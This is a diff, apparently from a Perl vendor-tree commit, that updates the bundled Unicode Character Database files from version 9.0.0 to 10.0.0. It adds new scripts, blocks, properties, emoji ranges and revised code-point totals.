@@ -1285,7 +1320,7 @@
 1BC9F         ; Sentence_Terminal # Po       DUPLOYAN PUNCTUATION CHINOOK FULL STOP
 1DA88         ; Sentence_Terminal # Po       SIGNWRITING FULL STOP
 
-# Total code points: 124
+# Total code points: 128
 
 # ================================================
 
@@ -1402,9 +1437,7 @@
 239B..23B3    ; Pattern_Syntax # Sm  [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
 23B4..23DB    ; Pattern_Syntax # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; Pattern_Syntax # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
-23E2..23FE    ; Pattern_Syntax # So  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-23FF          ; Pattern_Syntax # Cn       <reserved-23FF>
-2400..2426    ; Pattern_Syntax # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; Pattern_Syntax # So  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2427..243F    ; Pattern_Syntax # Cn  [25] <reserved-2427>..<reserved-243F>
 2440..244A    ; Pattern_Syntax # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 244B..245F    ; Pattern_Syntax # Cn  [21] <reserved-244B>..<reserved-245F>
@@ -1492,8 +1525,8 @@
 2BBA..2BBC    ; Pattern_Syntax # Cn   [3] <reserved-2BBA>..<reserved-2BBC>
 2BBD..2BC8    ; Pattern_Syntax # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
 2BC9          ; Pattern_Syntax # Cn       <reserved-2BC9>
-2BCA..2BD1    ; Pattern_Syntax # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
-2BD2..2BEB    ; Pattern_Syntax # Cn  [26] <reserved-2BD2>..<reserved-2BEB>
+2BCA..2BD2    ; Pattern_Syntax # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
+2BD3..2BEB    ; Pattern_Syntax # Cn  [25] <reserved-2BD3>..<reserved-2BEB>
 2BEC..2BEF    ; Pattern_Syntax # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2BF0..2BFF    ; Pattern_Syntax # Cn  [16] <reserved-2BF0>..<reserved-2BFF>
 2E00..2E01    ; Pattern_Syntax # Po   [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER
@@ -1533,8 +1566,8 @@
 2E40          ; Pattern_Syntax # Pd       DOUBLE HYPHEN
 2E41          ; Pattern_Syntax # Po       REVERSED COMMA
 2E42          ; Pattern_Syntax # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; Pattern_Syntax # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
-2E45..2E7F    ; Pattern_Syntax # Cn  [59] <reserved-2E45>..<reserved-2E7F>
+2E43..2E49    ; Pattern_Syntax # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
+2E4A..2E7F    ; Pattern_Syntax # Cn  [54] <reserved-2E4A>..<reserved-2E7F>
 3001..3003    ; Pattern_Syntax # Po   [3] IDEOGRAPHIC COMMA..DITTO MARK
 3008          ; Pattern_Syntax # Ps       LEFT ANGLE BRACKET
 3009          ; Pattern_Syntax # Pe       RIGHT ANGLE BRACKET
@@ -1576,4 +1609,10 @@
 
 # Total code points: 10
 
+# ================================================
+
+1F1E6..1F1FF  ; Regional_Indicator # So  [26] REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z
+
+# Total code points: 26
+
 # EOF

Modified: vendor/perl/dist/lib/unicore/PropValueAliases.txt
===================================================================
--- vendor/perl/dist/lib/unicore/PropValueAliases.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/PropValueAliases.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# PropertyValueAliases-9.0.0.txt
-# Date: 2016-03-02, 18:55:05 GMT
-# © 2016 Unicode®, Inc.
+# PropertyValueAliases-10.0.0.txt
+# Date: 2017-05-17, 08:45:34 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -80,6 +80,7 @@
 age; 7.0                              ; V7_0
 age; 8.0                              ; V8_0
 age; 9.0                              ; V9_0
+age; 10.0                             ; V10_0
 age; NA                               ; Unassigned
 
 # Alphabetic (Alpha)
@@ -191,6 +192,7 @@
 blk; CJK_Ext_C                        ; CJK_Unified_Ideographs_Extension_C
 blk; CJK_Ext_D                        ; CJK_Unified_Ideographs_Extension_D
 blk; CJK_Ext_E                        ; CJK_Unified_Ideographs_Extension_E
+blk; CJK_Ext_F                        ; CJK_Unified_Ideographs_Extension_F
 blk; CJK_Radicals_Sup                 ; CJK_Radicals_Supplement
 blk; CJK_Strokes                      ; CJK_Strokes
 blk; CJK_Symbols                      ; CJK_Symbols_And_Punctuation
@@ -263,6 +265,7 @@
 blk; Jamo_Ext_B                       ; Hangul_Jamo_Extended_B
 blk; Javanese                         ; Javanese
 blk; Kaithi                           ; Kaithi
+blk; Kana_Ext_A                       ; Kana_Extended_A
 blk; Kana_Sup                         ; Kana_Supplement
 blk; Kanbun                           ; Kanbun
 blk; Kangxi                           ; Kangxi_Radicals
@@ -299,6 +302,7 @@
 blk; Mandaic                          ; Mandaic
 blk; Manichaean                       ; Manichaean
 blk; Marchen                          ; Marchen
+blk; Masaram_Gondi                    ; Masaram_Gondi
 blk; Math_Alphanum                    ; Mathematical_Alphanumeric_Symbols
 blk; Math_Operators                   ; Mathematical_Operators
 blk; Meetei_Mayek                     ; Meetei_Mayek
@@ -330,6 +334,7 @@
 blk; Newa                             ; Newa
 blk; NKo                              ; NKo
 blk; Number_Forms                     ; Number_Forms
+blk; Nushu                            ; Nushu
 blk; OCR                              ; Optical_Character_Recognition
 blk; Ogham                            ; Ogham
 blk; Ol_Chiki                         ; Ol_Chiki
@@ -369,6 +374,7 @@
 blk; Sinhala_Archaic_Numbers          ; Sinhala_Archaic_Numbers
 blk; Small_Forms                      ; Small_Form_Variants
 blk; Sora_Sompeng                     ; Sora_Sompeng
+blk; Soyombo                          ; Soyombo
 blk; Specials                         ; Specials
 blk; Sundanese                        ; Sundanese
 blk; Sundanese_Sup                    ; Sundanese_Supplement
@@ -384,6 +390,7 @@
 blk; Sutton_SignWriting               ; Sutton_SignWriting
 blk; Syloti_Nagri                     ; Syloti_Nagri
 blk; Syriac                           ; Syriac
+blk; Syriac_Sup                       ; Syriac_Supplement
 blk; Tagalog                          ; Tagalog
 blk; Tagbanwa                         ; Tagbanwa
 blk; Tags                             ; Tags
@@ -414,6 +421,7 @@
 blk; Yi_Radicals                      ; Yi_Radicals
 blk; Yi_Syllables                     ; Yi_Syllables
 blk; Yijing                           ; Yijing_Hexagram_Symbols
+blk; Zanabazar_Square                 ; Zanabazar_Square
 
 # Canonical_Combining_Class (ccc)
 
@@ -741,6 +749,7 @@
 # Indic_Positional_Category (InPC)
 
 InPC; Bottom                          ; Bottom
+InPC; Bottom_And_Left                 ; Bottom_And_Left
 InPC; Bottom_And_Right                ; Bottom_And_Right
 InPC; Left                            ; Left
 InPC; Left_And_Right                  ; Left_And_Right
@@ -885,6 +894,17 @@
 jg ; Knotted_Heh                      ; Knotted_Heh
 jg ; Lam                              ; Lam
 jg ; Lamadh                           ; Lamadh
+jg ; Malayalam_Bha                    ; Malayalam_Bha
+jg ; Malayalam_Ja                     ; Malayalam_Ja
+jg ; Malayalam_Lla                    ; Malayalam_Lla
+jg ; Malayalam_Llla                   ; Malayalam_Llla
+jg ; Malayalam_Nga                    ; Malayalam_Nga
+jg ; Malayalam_Nna                    ; Malayalam_Nna
+jg ; Malayalam_Nnna                   ; Malayalam_Nnna
+jg ; Malayalam_Nya                    ; Malayalam_Nya
+jg ; Malayalam_Ra                     ; Malayalam_Ra
+jg ; Malayalam_Ssa                    ; Malayalam_Ssa
+jg ; Malayalam_Tta                    ; Malayalam_Tta
 jg ; Manichaean_Aleph                 ; Manichaean_Aleph
 jg ; Manichaean_Ayin                  ; Manichaean_Ayin
 jg ; Manichaean_Beth                  ; Manichaean_Beth
@@ -1135,6 +1155,11 @@
 Radical; N                            ; No                               ; F                                ; False
 Radical; Y                            ; Yes                              ; T                                ; True
 
+# Regional_Indicator (RI)
+
+RI ; N                                ; No                               ; F                                ; False
+RI ; Y                                ; Yes                              ; T                                ; True
+
 # Script (sc)
 
 sc ; Adlm                             ; Adlam
@@ -1171,6 +1196,7 @@
 sc ; Ethi                             ; Ethiopic
 sc ; Geor                             ; Georgian
 sc ; Glag                             ; Glagolitic
+sc ; Gonm                             ; Masaram_Gondi
 sc ; Goth                             ; Gothic
 sc ; Gran                             ; Grantha
 sc ; Grek                             ; Greek
@@ -1223,6 +1249,7 @@
 sc ; Nbat                             ; Nabataean
 sc ; Newa                             ; Newa
 sc ; Nkoo                             ; Nko
+sc ; Nshu                             ; Nushu
 sc ; Ogam                             ; Ogham
 sc ; Olck                             ; Ol_Chiki
 sc ; Orkh                             ; Old_Turkic
@@ -1250,6 +1277,7 @@
 sc ; Sind                             ; Khudawadi
 sc ; Sinh                             ; Sinhala
 sc ; Sora                             ; Sora_Sompeng
+sc ; Soyo                             ; Soyombo
 sc ; Sund                             ; Sundanese
 sc ; Sylo                             ; Syloti_Nagri
 sc ; Syrc                             ; Syriac
@@ -1273,6 +1301,7 @@
 sc ; Xpeo                             ; Old_Persian
 sc ; Xsux                             ; Cuneiform
 sc ; Yiii                             ; Yi
+sc ; Zanb                             ; Zanabazar_Square
 sc ; Zinh                             ; Inherited                        ; Qaai
 sc ; Zyyy                             ; Common
 sc ; Zzzz                             ; Unknown
@@ -1357,6 +1386,13 @@
 VS ; N                                ; No                               ; F                                ; False
 VS ; Y                                ; Yes                              ; T                                ; True
 
+# Vertical_Orientation (vo)
+
+vo ; R                                ; Rotated
+vo ; Tr                               ; Transformed_Rotated
+vo ; Tu                               ; Transformed_Upright
+vo ; U                                ; Upright
+
 # White_Space (WSpace)
 
 WSpace; N                             ; No                               ; F                                ; False

Modified: vendor/perl/dist/lib/unicore/PropertyAliases.txt
===================================================================
--- vendor/perl/dist/lib/unicore/PropertyAliases.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/PropertyAliases.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# PropertyAliases-9.0.0.txt
-# Date: 2016-03-02, 18:55:05 GMT
-# © 2016 Unicode®, Inc.
+# PropertyAliases-10.0.0.txt
+# Date: 2017-02-14, 04:26:16 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -123,6 +123,7 @@
 NFKD_QC                  ; NFKD_Quick_Check
 nt                       ; Numeric_Type
 SB                       ; Sentence_Break
+vo                       ; Vertical_Orientation
 WB                       ; Word_Break
 
 # ================================================
@@ -175,6 +176,7 @@
 PCM                      ; Prepended_Concatenation_Mark
 QMark                    ; Quotation_Mark
 Radical                  ; Radical
+RI                       ; Regional_Indicator
 SD                       ; Soft_Dotted
 STerm                    ; Sentence_Terminal
 Term                     ; Terminal_Punctuation
@@ -190,6 +192,6 @@
 XO_NFKD                  ; Expands_On_NFKD
 
 # ================================================
-# Total:    118
+# Total:    120
 
 # EOF

Modified: vendor/perl/dist/lib/unicore/README.perl
===================================================================
--- vendor/perl/dist/lib/unicore/README.perl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/README.perl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -61,6 +61,7 @@
 mv extracted/DerivedLineBreak.txt extracted/DLineBreak.txt
 mv extracted/DerivedNumericType.txt extracted/DNumType.txt
 mv extracted/DerivedNumericValues.txt extracted/DNumValues.txt
+mv extracted/DerivedName.txt extracted/DName.txt
 rmdir extracted 2>/dev/null     # Will fail if non-empty, but if it is empty
                                 # was an early release that didn't have it.
 

Modified: vendor/perl/dist/lib/unicore/ReadMe.txt
===================================================================
--- vendor/perl/dist/lib/unicore/ReadMe.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/ReadMe.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,6 @@
 # Unicode Character Database
-# Date: 2016-06-20, 14:59:00 GMT [KW]
-# © 2016 Unicode®, Inc.
-# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# Date: 2017-06-18, 23:32:00 GMT [KW]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # For documentation, see the following:
@@ -9,7 +8,7 @@
 # UAX #38, "Unicode Han Database (Unihan)"
 # UAX #44, "Unicode Character Database."
 #
-# The UAXes can be accessed at http://www.unicode.org/versions/Unicode9.0.0/
+# The UAXes can be accessed at http://www.unicode.org/versions/Unicode10.0.0/
 
 This directory contains the final data files
-for the Unicode Character Database, for Version 9.0.0 of the Unicode Standard.
+for the Unicode Character Database, for Version 10.0.0 of the Unicode Standard.

Modified: vendor/perl/dist/lib/unicore/ScriptExtensions.txt
===================================================================
--- vendor/perl/dist/lib/unicore/ScriptExtensions.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/ScriptExtensions.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# ScriptExtensions-9.0.0.txt
-# Date: 2016-06-01, 10:34:37 GMT
-# © 2016 Unicode®, Inc.
+# ScriptExtensions-10.0.0.txt
+# Date: 2017-05-31, 01:07:00 GMT [RP]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -39,6 +39,14 @@
 
 # ================================================
 
+# Script_Extensions=Beng
+
+1CF7          ; Beng # Mc       VEDIC SIGN ATIKRAMA
+
+# Total code points: 1
+
+# ================================================
+
 # Script_Extensions=Deva
 
 1CD1          ; Deva # Mn       VEDIC TONE SHARA
@@ -256,11 +264,13 @@
 0BB5          ; Gran Taml # Lo       TAMIL LETTER VA
 0BE6..0BEF    ; Gran Taml # Nd  [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE
 0BF0..0BF2    ; Gran Taml # No   [3] TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND
+11301         ; Gran Taml # Mn       GRANTHA SIGN CANDRABINDU
 11303         ; Gran Taml # Mc       GRANTHA SIGN VISARGA
 1133C         ; Gran Taml # Mn       GRANTHA SIGN NUKTA
 
-# Total code points: 17
 
+# Total code points: 18
+
 # ================================================
 
 # Script_Extensions=Gujr Khoj
@@ -306,9 +316,10 @@
 
 060C          ; Arab Syrc Thaa # Po       ARABIC COMMA
 061B          ; Arab Syrc Thaa # Po       ARABIC SEMICOLON
+061C          ; Arab Syrc Thaa # Cf       ARABIC LETTER MARK
 061F          ; Arab Syrc Thaa # Po       ARABIC QUESTION MARK
 
-# Total code points: 3
+# Total code points: 4
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/Scripts.txt
===================================================================
--- vendor/perl/dist/lib/unicore/Scripts.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/Scripts.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# Scripts-9.0.0.txt
-# Date: 2016-06-01, 10:34:37 GMT
-# © 2016 Unicode®, Inc.
+# Scripts-10.0.0.txt
+# Date: 2017-03-11, 06:40:37 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -93,7 +93,6 @@
 0605          ; Common # Cf       ARABIC NUMBER MARK ABOVE
 060C          ; Common # Po       ARABIC COMMA
 061B          ; Common # Po       ARABIC SEMICOLON
-061C          ; Common # Cf       ARABIC LETTER MARK
 061F          ; Common # Po       ARABIC QUESTION MARK
 0640          ; Common # Lm       ARABIC TATWEEL
 06DD          ; Common # Cf       ARABIC END OF AYAH
@@ -112,6 +111,7 @@
 1CEE..1CF1    ; Common # Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
 1CF2..1CF3    ; Common # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF5..1CF6    ; Common # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; Common # Mc       VEDIC SIGN ATIKRAMA
 2000..200A    ; Common # Zs  [11] EN QUAD..HAIR SPACE
 200B          ; Common # Cf       ZERO WIDTH SPACE
 200E..200F    ; Common # Cf   [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK
@@ -155,7 +155,7 @@
 208A..208C    ; Common # Sm   [3] SUBSCRIPT PLUS SIGN..SUBSCRIPT EQUALS SIGN
 208D          ; Common # Ps       SUBSCRIPT LEFT PARENTHESIS
 208E          ; Common # Pe       SUBSCRIPT RIGHT PARENTHESIS
-20A0..20BE    ; Common # Sc  [31] EURO-CURRENCY SIGN..LARI SIGN
+20A0..20BF    ; Common # Sc  [32] EURO-CURRENCY SIGN..BITCOIN SIGN
 2100..2101    ; Common # So   [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT
 2102          ; Common # L&       DOUBLE-STRUCK CAPITAL C
 2103..2106    ; Common # So   [4] DEGREE CELSIUS..CADA UNA
@@ -225,8 +225,7 @@
 239B..23B3    ; Common # Sm  [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
 23B4..23DB    ; Common # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; Common # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
-23E2..23FE    ; Common # So  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-2400..2426    ; Common # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; Common # So  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; Common # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..249B    ; Common # No  [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
 249C..24E9    ; Common # So  [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
@@ -311,7 +310,7 @@
 2B76..2B95    ; Common # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; Common # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; Common # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; Common # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; Common # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; Common # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2E00..2E01    ; Common # Po   [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER
 2E02          ; Common # Pi       LEFT SUBSTITUTION BRACKET
@@ -350,7 +349,7 @@
 2E40          ; Common # Pd       DOUBLE HYPHEN
 2E41          ; Common # Po       REVERSED COMMA
 2E42          ; Common # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; Common # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; Common # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2FF0..2FFB    ; Common # So  [12] IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
 3000          ; Common # Zs       IDEOGRAPHIC SPACE
 3001..3003    ; Common # Po   [3] IDEOGRAPHIC COMMA..DITTO MARK
@@ -581,11 +580,12 @@
 1F210..1F23B  ; Common # So  [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248  ; Common # So   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251  ; Common # So   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265  ; Common # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F3FA  ; Common # So [251] CYCLONE..AMPHORA
 1F3FB..1F3FF  ; Common # Sk   [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
-1F400..1F6D2  ; Common # So [723] RAT..SHOPPING TROLLEY
+1F400..1F6D4  ; Common # So [725] RAT..PAGODA
 1F6E0..1F6EC  ; Common # So  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
-1F6F0..1F6F6  ; Common # So   [7] SATELLITE..CANOE
+1F6F0..1F6F8  ; Common # So   [9] SATELLITE..FLYING SAUCER
 1F700..1F773  ; Common # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4  ; Common # So  [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B  ; Common # So  [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -593,18 +593,17 @@
 1F850..1F859  ; Common # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; Common # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; Common # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E  ; Common # So  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; Common # So   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; Common # So       PREGNANT WOMAN
-1F933..1F93E  ; Common # So  [12] SELFIE..HANDBALL
-1F940..1F94B  ; Common # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; Common # So  [15] CROISSANT..PANCAKES
-1F980..1F991  ; Common # So  [18] CRAB..SQUID
+1F900..1F90B  ; Common # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E  ; Common # So  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; Common # So  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; Common # So  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; Common # So  [24] CRAB..CRICKET
 1F9C0         ; Common # So       CHEESE WEDGE
+1F9D0..1F9E6  ; Common # So  [23] FACE WITH MONOCLE..SOCKS
 E0001         ; Common # Cf       LANGUAGE TAG
 E0020..E007F  ; Common # Cf  [96] TAG SPACE..CANCEL TAG
 
-# Total code points: 7279
+# Total code points: 7363
 
 # ================================================
 
@@ -798,6 +797,7 @@
 060D          ; Arabic # Po       ARABIC DATE SEPARATOR
 060E..060F    ; Arabic # So   [2] ARABIC POETIC VERSE SIGN..ARABIC SIGN MISRA
 0610..061A    ; Arabic # Mn  [11] ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL KASRA
+061C          ; Arabic # Cf       ARABIC LETTER MARK
 061E          ; Arabic # Po       ARABIC TRIPLE DOT PUNCTUATION MARK
 0620..063F    ; Arabic # Lo  [32] ARABIC LETTER KASHMIRI YEH..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
 0641..064A    ; Arabic # Lo  [10] ARABIC LETTER FEH..ARABIC LETTER YEH
@@ -871,7 +871,7 @@
 1EEAB..1EEBB  ; Arabic # Lo  [17] ARABIC MATHEMATICAL DOUBLE-STRUCK LAM..ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
 1EEF0..1EEF1  ; Arabic # Sm   [2] ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
 
-# Total code points: 1279
+# Total code points: 1280
 
 # ================================================
 
@@ -882,8 +882,9 @@
 0712..072F    ; Syriac # Lo  [30] SYRIAC LETTER BETH..SYRIAC LETTER PERSIAN DHALATH
 0730..074A    ; Syriac # Mn  [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH
 074D..074F    ; Syriac # Lo   [3] SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE
+0860..086A    ; Syriac # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 
-# Total code points: 77
+# Total code points: 88
 
 # ================================================
 
@@ -953,8 +954,10 @@
 09F4..09F9    ; Bengali # No   [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA          ; Bengali # So       BENGALI ISSHAR
 09FB          ; Bengali # Sc       BENGALI GANDA MARK
+09FC          ; Bengali # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; Bengali # Po       BENGALI ABBREVIATION SIGN
 
-# Total code points: 93
+# Total code points: 95
 
 # ================================================
 
@@ -1007,8 +1010,9 @@
 0AF0          ; Gujarati # Po       GUJARATI ABBREVIATION SIGN
 0AF1          ; Gujarati # Sc       GUJARATI RUPEE SIGN
 0AF9          ; Gujarati # Lo       GUJARATI LETTER ZHA
+0AFA..0AFF    ; Gujarati # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 
-# Total code points: 85
+# Total code points: 91
 
 # ================================================
 
@@ -1123,11 +1127,12 @@
 
 # ================================================
 
-0D01          ; Malayalam # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Malayalam # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; Malayalam # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; Malayalam # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; Malayalam # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A    ; Malayalam # Lo  [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C    ; Malayalam # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D          ; Malayalam # Lo       MALAYALAM SIGN AVAGRAHA
 0D3E..0D40    ; Malayalam # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; Malayalam # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -1146,7 +1151,7 @@
 0D79          ; Malayalam # So       MALAYALAM DATE MARK
 0D7A..0D7F    ; Malayalam # Lo   [6] MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K
 
-# Total code points: 114
+# Total code points: 117
 
 # ================================================
 
@@ -1463,10 +1468,10 @@
 3041..3096    ; Hiragana # Lo  [86] HIRAGANA LETTER SMALL A..HIRAGANA LETTER SMALL KE
 309D..309E    ; Hiragana # Lm   [2] HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK
 309F          ; Hiragana # Lo       HIRAGANA DIGRAPH YORI
-1B001         ; Hiragana # Lo       HIRAGANA LETTER ARCHAIC YE
+1B001..1B11E  ; Hiragana # Lo [286] HIRAGANA LETTER ARCHAIC YE..HENTAIGANA LETTER N-MU-MO-2
 1F200         ; Hiragana # So       SQUARE HIRAGANA HOKA
 
-# Total code points: 91
+# Total code points: 376
 
 # ================================================
 
@@ -1485,10 +1490,10 @@
 # ================================================
 
 02EA..02EB    ; Bopomofo # Sk   [2] MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK
-3105..312D    ; Bopomofo # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; Bopomofo # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 31A0..31BA    ; Bopomofo # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 
-# Total code points: 70
+# Total code points: 71
 
 # ================================================
 
@@ -1501,7 +1506,7 @@
